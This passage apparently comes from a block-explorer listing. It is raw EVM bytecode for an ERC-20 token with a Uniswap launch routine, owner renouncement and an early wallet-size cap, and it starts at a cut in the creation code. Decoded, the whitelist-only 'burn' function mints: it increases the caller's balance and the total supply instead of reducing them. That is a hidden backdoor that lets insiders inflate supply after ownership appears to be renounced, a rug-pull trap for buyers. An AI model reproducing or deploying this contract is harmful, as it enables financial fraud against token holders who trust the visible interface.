62000b7b5762000b7a62000b17565b5b92915050565b600062000b8e826200082b565b915062000b9b836200082b565b925082820262000bab816200082b565b9150828204841483151762000bc55762000bc462000b17565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000c08826200082b565b915062000c15836200082b565b92508262000c285762000c2762000bcc565b5b828204905092915050565b7f216d617800000000000000000000000000000000000000000000000000000000600082015250565b600062000c6b60048362000a66565b915062000c788262000c33565b602082019050919050565b6000602082019050818103600083015262000c9e8162000c5c565b9050919050565b61209b8062000cb56000396000f3fe6080604052600436106101095760003560e01c8063860aefcf11610095578063a9059cbb11610064578063a9059cbb14610381578063a95e8dee146103be578063c9567bf9146103fb578063dd62ed3e14610405578063f2fde38b1461044257610109565b8063860aefcf146102c35780638da5cb5b146102ee57806395d89b4114610319578063a457c2d71461034457610109565b8063313ce567116100dc578063313ce567146101de578063395093511461020957806342966c681461024657806370a082311461026f578063715018a6146102ac57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a1575b600080fd5b34801561011a57600080fd5b5061012361046b565b60405161013091906114e3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061159e565b6104fd565b60405161016d91906115f9565b60405180910390f35b34801561018257600080fd5b5061018b610520565b6040516101989190611623565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061163e565b61052a565b6040516101d591906115f9565b60405180910390f35b3480156101ea57600080fd5b506101f3610559565b60405161020091906116ad565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b919061159e565b610562565b60405161023d91906115f9565b60405180910390f35b34801561025257600080fd5b5061026d600480360381019061026891906116c8565b610599565b005b34801561027b57600080fd5b50610296600480360381019061029191906116f5565b610632565b6040516102a39190611623565b60405180910390f35b3480156102b857600080fd5b506102c161067b565b005b3480156102cf57600080fd5b506102d861068f565b6040516102e59190611623565b60405180910390f35b3480156102fa57600080fd5b50610303610695565b6040516103109190611731565b60405180910390f35b34801561032557600080fd5b5061032e6106be565b60405161033b91906114e3565b60405180910390f35b34801561035057600080fd5b5061036b6004803603810190610366919061159e565b610750565b60405161037891906115f9565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061159e565b6107c7565b6040516103b591906115f9565b60405180910390f35b3480156103ca57600080fd5b506103e560048036038101906103e091906116f5565b6107ea565b6040516103f291906115f9565b60405180910390f35b61040361080a565b005b34801561041157600080fd5b5061042c6004803603810190610427919061174c565b610aa1565b6040516104399190611623565b60405180910390f35b34801561044e57600080fd5b50610469600480360381019061046491906116f5565b610b28565b005b60606004805461047a906117bb565b80601f01602080910402602001604051908101604052809291908181526020018280546104a6906117bb565b80156104f35780601f106104c8576101008083540402835291602001916104f3565b820191906000526020600020905b8154815290600101906020018083116104d657829003601f168201915b5050505050905090565b600080610508610bab565b9050610515818585610bb3565b600191505092915050565b6000600354905090565b600080610535610bab565b9050610542858285610d7c565b61054d858585610e08565b60019150509392505050565b60006012905090565b60008061056d610bab565b905061058e81858561057f8589610aa1565b610589919061181b565b610bb3565b600191505092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c9061189b565b60405180910390fd5b61062f3382611081565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610683611210565b61068d600061128e565b565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546106cd906117bb565b80601f01602080910402602001604051908101604052809291908181526020018280546106f9906117bb565b80156107465780601f1061071b57610100808354040283529160200191610746565b820191906000526020600020905b81548152906001019060200180831161072957829003601f168201915b5050505050905090565b60008061075b610bab565b905060006107698286610aa1565b9050838110156107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a59061192d565b60405180910390fd5b6107bb8286868403610bb3565b60019250505092915050565b6000806107d2610bab565b90506107df818585610e08565b600191505092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b610812611210565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610878573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089c9190611962565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109279190611962565b6040518363ffffffff1660e01b815260040161094492919061198f565b6020604051808303816000875af1158015610963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109879190611962565b90506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506109f430836109ef30610632565b610bb3565b8173ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a1b30610632565b610a2430610632565b3433426040518863ffffffff1660e01b8152600401610a48969594939291906119b8565b60606040518083038185885af1158015610a66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8b9190611a2e565b50505043600781905550610a9d61067b565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b30611210565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690611af3565b60405180910390fd5b610ba88161128e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1990611b85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8890611c17565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6f9190611623565b60405180910390a3505050565b6000610d888484610aa1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e025781811015610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb90611c83565b60405180910390fd5b610e018484848403610bb3565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e90611d15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd90611da7565b60405180910390fd5b610ef1838383611352565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f90611e39565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110689190611623565b60405180910390a361107b848484611357565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e790611ecb565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611147828261143d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119f8260035461143d90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112039190611623565b60405180910390a3505050565b611218610bab565b73ffffffffffffffffffffffffffffffffffffffff16611236610695565b73ffffffffffffffffffffffffffffffffffffffff161461128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390611f37565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113be5750600a6007546113bb919061181b565b43105b1561143857606460036113cf610520565b6113d99190611f57565b6113e39190611fc8565b816113ed84610632565b6113f7919061181b565b10611437576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142e90612045565b60405180910390fd5b5b505050565b6000818361144b919061181b565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561148d578082015181840152602081019050611472565b60008484015250505050565b6000601f19601f8301169050919050565b60006114b582611453565b6114bf818561145e565b93506114cf81856020860161146f565b6114d881611499565b840191505092915050565b600060208201905081810360008301526114fd81846114aa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115358261150a565b9050919050565b6115458161152a565b811461155057600080fd5b50565b6000813590506115628161153c565b92915050565b6000819050919050565b61157b81611568565b811461158657600080fd5b50565b60008135905061159881611572565b92915050565b600080604083850312156115b5576115b4611505565b5b60006115c385828601611553565b92505060206115d485828601611589565b9150509250929050565b60008115159050919050565b6115f3816115de565b82525050565b600060208201905061160e60008301846115ea565b92915050565b61161d81611568565b82525050565b60006020820190506116386000830184611614565b92915050565b60008060006060848603121561165757611656611505565b5b600061166586828701611553565b935050602061167686828701611553565b925050604061168786828701611589565b9150509250925092565b600060ff82169050919050565b6116a781611691565b82525050565b60006020820190506116c2600083018461169e565b92915050565b6000602082840312156116de576116dd611505565b5b60006116ec84828501611589565b91505092915050565b60006020828403121561170b5761170a611505565b5b600061171984828501611553565b91505092915050565b61172b8161152a565b82525050565b60006020820190506117466000830184611722565b92915050565b6000806040838503121561176357611762611505565b5b600061177185828601611553565b925050602061178285828601611553565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117d357607f821691505b6020821081036117e6576117e561178c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182682611568565b915061183183611568565b9250828201905080821115611849576118486117ec565b5b92915050565b7f6f6e6c792077686974656c69737465642063616e206275726e00000000000000600082015250565b600061188560198361145e565b91506118908261184f565b602082019050919050565b600060208201905081810360008301526118b481611878565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061191760258361145e565b9150611922826118bb565b604082019050919050565b600060208201905081810360008301526119468161190a565b9050919050565b60008151905061195c8161153c565b92915050565b60006020828403121561197857611977611505565b5b60006119868482850161194d565b91505092915050565b60006040820190506119a46000830185611722565b6119b16020830184611722565b9392505050565b600060c0820190506119cd6000830189611722565b6119da6020830188611614565b6119e76040830187611614565b6119f46060830186611614565b611a016080830185611722565b611a0e60a0830184611614565b979650505050505050565b600081519050611a2881611572565b92915050565b600080600060608486031215611a4757611a46611505565b5b6000611a5586828701611a19565b9350506020611a6686828701611a19565b9250506040611a7786828701611a19565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611add60268361145e565b9150611ae882611a81565b604082019050919050565b60006020820190508181036000830152611b0c81611ad0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b6f60248361145e565b9150611b7a82611b13565b604082019050919050565b60006020820190508181036000830152611b9e81611b62565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c0160228361145e565b9150611c0c82611ba5565b604082019050919050565b60006020820190508181036000830152611c3081611bf4565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611c6d601d8361145e565b9150611c7882611c37565b602082019050919050565b60006020820190508181036000830152611c9c81611c60565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611cff60258361145e565b9150611d0a82611ca3565b604082019050919050565b60006020820190508181036000830152611d2e81611cf2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9160238361145e565b9150611d9c82611d35565b604082019050919050565b60006020820190508181036000830152611dc081611d84565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e2360268361145e565b9150611e2e82611dc7565b604082019050919050565b60006020820190508181036000830152611e5281611e16565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eb560218361145e565b9150611ec082611e59565b604082019050919050565b60006020820190508181036000830152611ee481611ea8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f2160208361145e565b9150611f2c82611eeb565b602082019050919050565b60006020820190508181036000830152611f5081611f14565b9050919050565b6000611f6282611568565b9150611f6d83611568565b9250828202611f7b81611568565b91508282048414831517611f9257611f916117ec565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611fd382611568565b9150611fde83611568565b925082611fee57611fed611f99565b5b828204905092915050565b7f216d617800000000000000000000000000000000000000000000000000000000600082015250565b600061202f60048361145e565b915061203a82611ff9565b602082019050919050565b6000602082019050818103600083015261205e81612022565b905091905056fea2646970667358221220d2c6c899171a5e3b0ac5650d7066d006b659fd25664a4dbe2427ddd874f516bc64736f6c634300081300330000000000000000000000001285f62935e5e4b5fc84a7292a32463612ecea47
Deployed Bytecode
0x6080604052600436106101095760003560e01c8063860aefcf11610095578063a9059cbb11610064578063a9059cbb14610381578063a95e8dee146103be578063c9567bf9146103fb578063dd62ed3e14610405578063f2fde38b1461044257610109565b8063860aefcf146102c35780638da5cb5b146102ee57806395d89b4114610319578063a457c2d71461034457610109565b8063313ce567116100dc578063313ce567146101de578063395093511461020957806342966c681461024657806370a082311461026f578063715018a6146102ac57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a1575b600080fd5b34801561011a57600080fd5b5061012361046b565b60405161013091906114e3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061159e565b6104fd565b60405161016d91906115f9565b60405180910390f35b34801561018257600080fd5b5061018b610520565b6040516101989190611623565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061163e565b61052a565b6040516101d591906115f9565b60405180910390f35b3480156101ea57600080fd5b506101f3610559565b60405161020091906116ad565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b919061159e565b610562565b60405161023d91906115f9565b60405180910390f35b34801561025257600080fd5b5061026d600480360381019061026891906116c8565b610599565b005b34801561027b57600080fd5b50610296600480360381019061029191906116f5565b610632565b6040516102a39190611623565b60405180910390f35b3480156102b857600080fd5b506102c161067b565b005b3480156102cf57600080fd5b506102d861068f565b6040516102e59190611623565b60405180910390f35b3480156102fa57600080fd5b50610303610695565b6040516103109190611731565b60405180910390f35b34801561032557600080fd5b5061032e6106be565b60405161033b91906114e3565b60405180910390f35b34801561035057600080fd5b5061036b6004803603810190610366919061159e565b610750565b60405161037891906115f9565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a3919061159e565b6107c7565b6040516103b591906115f9565b60405180910390f35b3480156103ca57600080fd5b506103e560048036038101906103e091906116f5565b6107ea565b6040516103f291906115f9565b60405180910390f35b61040361080a565b005b34801561041157600080fd5b5061042c6004803603810190610427919061174c565b610aa1565b6040516104399190611623565b60405180910390f35b34801561044e57600080fd5b50610469600480360381019061046491906116f5565b610b28565b005b60606004805461047a906117bb565b80601f01602080910402602001604051908101604052809291908181526020018280546104a6906117bb565b80156104f35780601f106104c8576101008083540402835291602001916104f3565b820191906000526020600020905b8154815290600101906020018083116104d657829003601f168201915b5050505050905090565b600080610508610bab565b9050610515818585610bb3565b600191505092915050565b6000600354905090565b600080610535610bab565b9050610542858285610d7c565b61054d858585610e08565b60019150509392505050565b60006012905090565b60008061056d610bab565b905061058e81858561057f8589610aa1565b610589919061181b565b610bb3565b600191505092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061c9061189b565b60405180910390fd5b61062f3382611081565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610683611210565b61068d600061128e565b565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546106cd906117bb565b80601f01602080910402602001604051908101604052809291908181526020018280546106f9906117bb565b80156107465780601f1061071b57610100808354040283529160200191610746565b820191906000526020600020905b81548152906001019060200180831161072957829003601f168201915b5050505050905090565b60008061075b610bab565b905060006107698286610aa1565b9050838110156107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a59061192d565b60405180910390fd5b6107bb8286868403610bb3565b60019250505092915050565b6000806107d2610bab565b90506107df818585610e08565b600191505092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b610812611210565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610878573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089c9190611962565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109279190611962565b6040518363ffffffff1660e01b815260040161094492919061198f565b6020604051808303816000875af1158015610963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109879190611962565b90506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506109f430836109ef30610632565b610bb3565b8173ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a1b30610632565b610a2430610632565b3433426040518863ffffffff1660e01b8152600401610a48969594939291906119b8565b60606040518083038185885af1158015610a66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8b9190611a2e565b50505043600781905550610a9d61067b565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b30611210565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690611af3565b60405180910390fd5b610ba88161128e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1990611b85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8890611c17565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6f9190611623565b60405180910390a3505050565b6000610d888484610aa1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e025781811015610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb90611c83565b60405180910390fd5b610e018484848403610bb3565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e90611d15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd90611da7565b60405180910390fd5b610ef1838383611352565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f90611e39565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110689190611623565b60405180910390a361107b848484611357565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e790611ecb565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611147828261143d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119f8260035461143d90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112039190611623565b60405180910390a3505050565b611218610bab565b73ffffffffffffffffffffffffffffffffffffffff16611236610695565b73ffffffffffffffffffffffffffffffffffffffff161461128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390611f37565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113be5750600a6007546113bb919061181b565b43105b1561143857606460036113cf610520565b6113d99190611f57565b6113e39190611fc8565b816113ed84610632565b6113f7919061181b565b10611437576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142e90612045565b60405180910390fd5b5b505050565b6000818361144b919061181b565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561148d578082015181840152602081019050611472565b60008484015250505050565b6000601f19601f8301169050919050565b60006114b582611453565b6114bf818561145e565b93506114cf81856020860161146f565b6114d881611499565b840191505092915050565b600060208201905081810360008301526114fd81846114aa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115358261150a565b9050919050565b6115458161152a565b811461155057600080fd5b50565b6000813590506115628161153c565b92915050565b6000819050919050565b61157b81611568565b811461158657600080fd5b50565b60008135905061159881611572565b92915050565b600080604083850312156115b5576115b4611505565b5b60006115c385828601611553565b92505060206115d485828601611589565b9150509250929050565b60008115159050919050565b6115f3816115de565b82525050565b600060208201905061160e60008301846115ea565b92915050565b61161d81611568565b82525050565b60006020820190506116386000830184611614565b92915050565b60008060006060848603121561165757611656611505565b5b600061166586828701611553565b935050602061167686828701611553565b925050604061168786828701611589565b9150509250925092565b600060ff82169050919050565b6116a781611691565b82525050565b60006020820190506116c2600083018461169e565b92915050565b6000602082840312156116de576116dd611505565b5b60006116ec84828501611589565b91505092915050565b60006020828403121561170b5761170a611505565b5b600061171984828501611553565b91505092915050565b61172b8161152a565b82525050565b60006020820190506117466000830184611722565b92915050565b6000806040838503121561176357611762611505565b5b600061177185828601611553565b925050602061178285828601611553565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117d357607f821691505b6020821081036117e6576117e561178c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182682611568565b915061183183611568565b9250828201905080821115611849576118486117ec565b5b92915050565b7f6f6e6c792077686974656c69737465642063616e206275726e00000000000000600082015250565b600061188560198361145e565b91506118908261184f565b602082019050919050565b600060208201905081810360008301526118b481611878565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061191760258361145e565b9150611922826118bb565b604082019050919050565b600060208201905081810360008301526119468161190a565b9050919050565b60008151905061195c8161153c565b92915050565b60006020828403121561197857611977611505565b5b60006119868482850161194d565b91505092915050565b60006040820190506119a46000830185611722565b6119b16020830184611722565b9392505050565b600060c0820190506119cd6000830189611722565b6119da6020830188611614565b6119e76040830187611614565b6119f46060830186611614565b611a016080830185611722565b611a0e60a0830184611614565b979650505050505050565b600081519050611a2881611572565b92915050565b600080600060608486031215611a4757611a46611505565b5b6000611a5586828701611a19565b9350506020611a6686828701611a19565b9250506040611a7786828701611a19565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611add60268361145e565b9150611ae882611a81565b604082019050919050565b60006020820190508181036000830152611b0c81611ad0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b6f60248361145e565b9150611b7a82611b13565b604082019050919050565b60006020820190508181036000830152611b9e81611b62565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c0160228361145e565b9150611c0c82611ba5565b604082019050919050565b60006020820190508181036000830152611c3081611bf4565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611c6d601d8361145e565b9150611c7882611c37565b602082019050919050565b60006020820190508181036000830152611c9c81611c60565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611cff60258361145e565b9150611d0a82611ca3565b604082019050919050565b60006020820190508181036000830152611d2e81611cf2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9160238361145e565b9150611d9c82611d35565b604082019050919050565b60006020820190508181036000830152611dc081611d84565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e2360268361145e565b9150611e2e82611dc7565b604082019050919050565b60006020820190508181036000830152611e5281611e16565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eb560218361145e565b9150611ec082611e59565b604082019050919050565b60006020820190508181036000830152611ee481611ea8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f2160208361145e565b9150611f2c82611eeb565b602082019050919050565b60006020820190508181036000830152611f5081611f14565b9050919050565b6000611f6282611568565b9150611f6d83611568565b9250828202611f7b81611568565b91508282048414831517611f9257611f916117ec565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611fd382611568565b9150611fde83611568565b925082611fee57611fed611f99565b5b828204905092915050565b7f216d617800000000000000000000000000000000000000000000000000000000600082015250565b600061202f60048361145e565b915061203a82611ff9565b602082019050919050565b6000602082019050818103600083015261205e81612022565b905091905056fea2646970667358221220d2c6c899171a5e3b0ac5650d7066d006b659fd25664a4dbe2427ddd874f516bc64736f6c63430008130033
